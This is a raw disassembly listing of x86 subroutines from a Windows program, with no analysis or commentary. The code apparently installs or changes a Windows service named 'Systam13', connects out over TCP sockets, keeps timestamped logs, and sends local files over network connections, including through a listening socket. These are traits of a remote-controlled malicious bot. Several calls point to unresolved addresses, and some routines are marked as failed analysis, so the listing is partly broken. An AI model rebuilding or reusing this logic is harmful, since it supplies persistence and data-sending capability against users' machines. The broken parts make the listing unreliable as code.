loc_40BE89:				; CODE XREF: sub_40BE75+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40BEAC
		push	[ebp+arg_0]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BEAC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_4405F0
		jl	short loc_40BE89
		jmp	short loc_40BEEE
; ---------------------------------------------------------------------------

loc_40BEAC:				; CODE XREF: sub_40BE75+17j
					; sub_40BE75+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43FA70[esi]
		push	ebx
		call	sub_417330
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_418C10
		push	9Fh
		lea	eax, dword_43FA88[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_418C10
		add	esp, 24h
		inc	dword_42F794
		pop	ebx

loc_40BEEE:				; CODE XREF: sub_40BE75+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40BE75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEF5	proc near		; CODE XREF: sub_40EE72+5B58p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42DF90
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43FA70

loc_40BF1F:				; CODE XREF: sub_40BEF5+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40BF5A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42DF84
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch

loc_40BF5A:				; CODE XREF: sub_40BEF5+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_4405F0
		jl	short loc_40BF1F
		pop	edi
		pop	esi
		leave
		retn
sub_40BEF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF6D	proc near		; CODE XREF: sub_401000+9Ap
					; sub_4010B5+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 26204B9h
		mov	ebx, offset dword_43F164
		mov	edi, 80h
		mov	esi, offset dword_43B164

loc_40BF8F:				; CODE XREF: sub_40BF6D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40BFA6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BFA6:				; CODE XREF: sub_40BF6D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40BF8F
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFE1	proc near		; CODE XREF: sub_407BDE+15Bp
					; ___:00407F15p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_4193FF
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		leave
		retn
sub_40BFE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C00D	proc near		; CODE XREF: sub_40EE72+5A4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43B164
		xor	ecx, ecx

loc_40C014:				; CODE XREF: sub_40C00D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_43F164
		jl	short loc_40C014
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42DFC4
		jnz	short loc_40C044
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40C044:				; CODE XREF: sub_40C00D+1Fj
		push	esi
		call	sub_40BF6D
		pop	ecx
		pop	esi
		retn
sub_40C00D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C04D	proc near		; CODE XREF: sub_402DD7+2AEp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43B164

loc_40C053:				; CODE XREF: sub_40C04D+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40C068
		push	[esp+4+arg_0]
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C07A

loc_40C068:				; CODE XREF: sub_40C04D+9j
		add	esi, 80h
		cmp	esi, offset dword_43F164
		jl	short loc_40C053
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40C07A:				; CODE XREF: sub_40C04D+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40C04D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C07F	proc near		; DATA XREF: sub_40EE72+5B02o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40C0D2
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42E018
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C0D2:				; CODE XREF: sub_40C07F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40C0F2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40C0F2
		mov	[ebp+var_8], eax

loc_40C0F2:				; CODE XREF: sub_40C07F+5Aj
					; sub_40C07F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43B164

loc_40C0FB:				; CODE XREF: sub_40C07F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40C155
		cmp	byte ptr [esi],	0
		jz	short loc_40C144
		cmp	[ebp+var_98], 0
		jz	short loc_40C12A
		cmp	[ebp+var_4], 0
		jnz	short loc_40C12A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C144

loc_40C12A:				; CODE XREF: sub_40C07F+90j
					; sub_40C07F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C144:				; CODE XREF: sub_40C07F+87j
					; sub_40C07F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_43F164
		jl	short loc_40C0FB

loc_40C155:				; CODE XREF: sub_40C07F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42DFEC
		push	eax
		call	sub_4172B0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40C18F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C18F:				; CODE XREF: sub_40C07F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26102D3h
		nop
		pop	edi
		pop	esi
sub_40C07F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1AE	proc near		; CODE XREF: sub_40AC42+1Ep
					; ___:0040E9EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42E038
		xor	esi, esi
		mov	ebx, offset aSystam13 ;	"Systam13"

loc_40C1C1:				; CODE XREF: sub_40C1AE+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_43AD4C
		cmp	[ebp+arg_0], esi
		jz	short loc_40C1FB
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_43ADBC
		jmp	short loc_40C205
; ---------------------------------------------------------------------------

loc_40C1FB:				; CODE XREF: sub_40C1AE+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_43AD04

loc_40C205:				; CODE XREF: sub_40C1AE+4Bj
		push	[ebp+var_4]
		call	dword_43AD74
		add	edi, 8
		cmp	edi, offset dword_42E050
		jb	short loc_40C1C1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C1AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C21E	proc near		; CODE XREF: sub_40C259+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40C253
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_40C237:				; CODE XREF: sub_40C21E+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_424298[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40C237
		pop	edi
		pop	ebx

loc_40C253:				; CODE XREF: sub_40C21E+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40C21E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C259	proc near		; CODE XREF: sub_40CAF1+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_417B89
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_4179A8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40C2A8

loc_40C27E:				; CODE XREF: sub_40C259+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40C2AC
		inc	ebx
		push	ebx
		push	esi
		call	sub_41944F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40C2A8
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_418A86
		add	esp, 10h
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------

loc_40C2A8:				; CODE XREF: sub_40C259+23j
					; sub_40C259+39j
		xor	eax, eax
		jmp	short loc_40C2C7
; ---------------------------------------------------------------------------

loc_40C2AC:				; CODE XREF: sub_40C259+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40C21E
		push	esi
		mov	ebx, eax
		call	sub_417C3B
		push	edi
		call	sub_417900
		add	esp, 10h
		mov	eax, ebx

loc_40C2C7:				; CODE XREF: sub_40C259+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C259	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2CB	proc near		; CODE XREF: sub_40C351+33p
					; sub_40C8B4+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43AE18
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40C347
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43AD98
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43ADD8
		cmp	eax, esi
		jnz	short loc_40C32C
		push	[ebp+arg_0]
		call	dword_43AE1C
		test	eax, eax
		jz	short loc_40C347
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_40C32C:				; CODE XREF: sub_40C2CB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43AD40
		cmp	eax, esi
		jnz	short loc_40C34B
		push	edi
		call	dword_43AE30

loc_40C347:				; CODE XREF: sub_40C2CB+1Bj
					; sub_40C2CB+58j
		mov	eax, esi
		jmp	short loc_40C34D
; ---------------------------------------------------------------------------

loc_40C34B:				; CODE XREF: sub_40C2CB+73j
		mov	eax, edi

loc_40C34D:				; CODE XREF: sub_40C2CB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40C2CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C351	proc near		; DATA XREF: sub_40EE72+A88o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C2CB
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C3E4
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E0D4
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C3C7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C3C7:				; CODE XREF: sub_40C351+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D3h

loc_40C3E4:				; CODE XREF: sub_40C351+3Fj
		push	offset byte_436EDC
		push	ebx
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C44F
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E094
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C42B
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C42B:				; CODE XREF: sub_40C351+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43AE30
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D3h

loc_40C44F:				; CODE XREF: sub_40C351+A3j
		push	64h
		nop
		call	near ptr 2610F41h
		xor	edi, edi
		mov	esi, 1000h

loc_40C45E:				; CODE XREF: sub_40C351+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		test	eax, eax
		jle	short loc_40C4BB
		lea	eax, [ebp+var_11B4]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C4BB
		push	64h
		call	near ptr 2610F41h
		nop
		push	7
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	short loc_40C45E

loc_40C4BB:				; CODE XREF: sub_40C351+130j
					; sub_40C351+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E050
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40C4EE
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C4EE:				; CODE XREF: sub_40C351+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43AE30
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D3h
sub_40C351	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C512	proc near		; DATA XREF: sub_40EE72+4A7Co

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40C560
		push	offset dword_42E258
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C560:				; CODE XREF: sub_40C512+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43AD98
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43ADC4
		test	eax, eax
		jz	short loc_40C59E
		push	offset dword_42E224
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C59E:				; CODE XREF: sub_40C512+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43AD3C
		push	[ebp+var_2E]
		call	dword_43ACD4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417AB0
		pop	ecx

loc_40C5D0:				; CODE XREF: sub_40C512+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40C5E3
		push	5Fh
		pop	eax
		jmp	short loc_40C5E6
; ---------------------------------------------------------------------------

loc_40C5E3:				; CODE XREF: sub_40C512+CAj
		movsx	eax, al

loc_40C5E6:				; CODE XREF: sub_40C512+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40C5D0
		push	ebx
		push	edi
		call	dword_43ADC0
		test	eax, eax
		jz	short loc_40C619
		push	offset dword_42E0D4
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C619:				; CODE XREF: sub_40C512+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		nop
		call	near ptr 2650000h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40C643
		push	offset dword_42E1F4
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C643:				; CODE XREF: sub_40C512+125j
		push	esi
		push	eax
		call	near ptr 2680C36h
		nop
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		push	eax
		call	dword_43AD94
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E1DC
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43AD80
		test	eax, eax
		jg	short loc_40C6F3
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42E1B4
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		jmp	loc_40C817
; ---------------------------------------------------------------------------

loc_40C6F3:				; CODE XREF: sub_40C512+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43AE2C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40C72C
		push	offset dword_42E180

loc_40C719:				; CODE XREF: sub_40C512+49j
					; sub_40C512+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_40C81A
; ---------------------------------------------------------------------------

loc_40C72C:				; CODE XREF: sub_40C512+200j
		push	edi
		call	dword_43AE30
		cmp	[ebp+arg_0], esi
		jz	loc_40C7DE
		mov	edi, 400h

loc_40C741:				; CODE XREF: sub_40C512+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40C74E
		mov	[ebp+var_4], eax

loc_40C74E:				; CODE XREF: sub_40C512+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	near ptr 2631104h
		nop
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43ADE8
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43ADB0
		cmp	eax, ebx
		jl	loc_40C873
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40C873
		sub	[ebp+arg_0], eax
		jnz	loc_40C741
		mov	edi, [ebp+var_18]

loc_40C7DE:				; CODE XREF: sub_40C512+224j
		push	[ebp+var_8]
		nop
		call	near ptr 26319EBh
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E130
		push	eax
		call	sub_4172B0

loc_40C817:				; CODE XREF: sub_40C512+1DCj
		add	esp, 14h

loc_40C81A:				; CODE XREF: sub_40C512+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40C83F
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 14h

loc_40C83F:				; CODE XREF: sub_40C512+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40BF6D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40C857
		push	edi
		call	dword_43AE30

loc_40C857:				; CODE XREF: sub_40C512+33Cj
		push	[ebp+var_1F8]
		call	dword_43AE30
		push	[ebp+var_58]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 26102D3h
		nop

loc_40C873:				; CODE XREF: sub_40C512+2AFj
					; sub_40C512+2BAj
		push	esi
		mov	esi, offset dword_42E108
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		push	esi
		call	sub_40BF6D
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43AE30
		push	[ebp+var_58]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26102D3h
		nop
sub_40C512	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8B4	proc near		; DATA XREF: sub_40EE72+7C0o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	near ptr 2620000h
		nop
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2650000h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C93E
		push	offset dword_42E350
		jmp	short loc_40C984
; ---------------------------------------------------------------------------

loc_40C93E:				; CODE XREF: sub_40C8B4+81j
		push	eax
		nop
		call	near ptr 26319EBh
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40C966
		push	offset dword_42E310
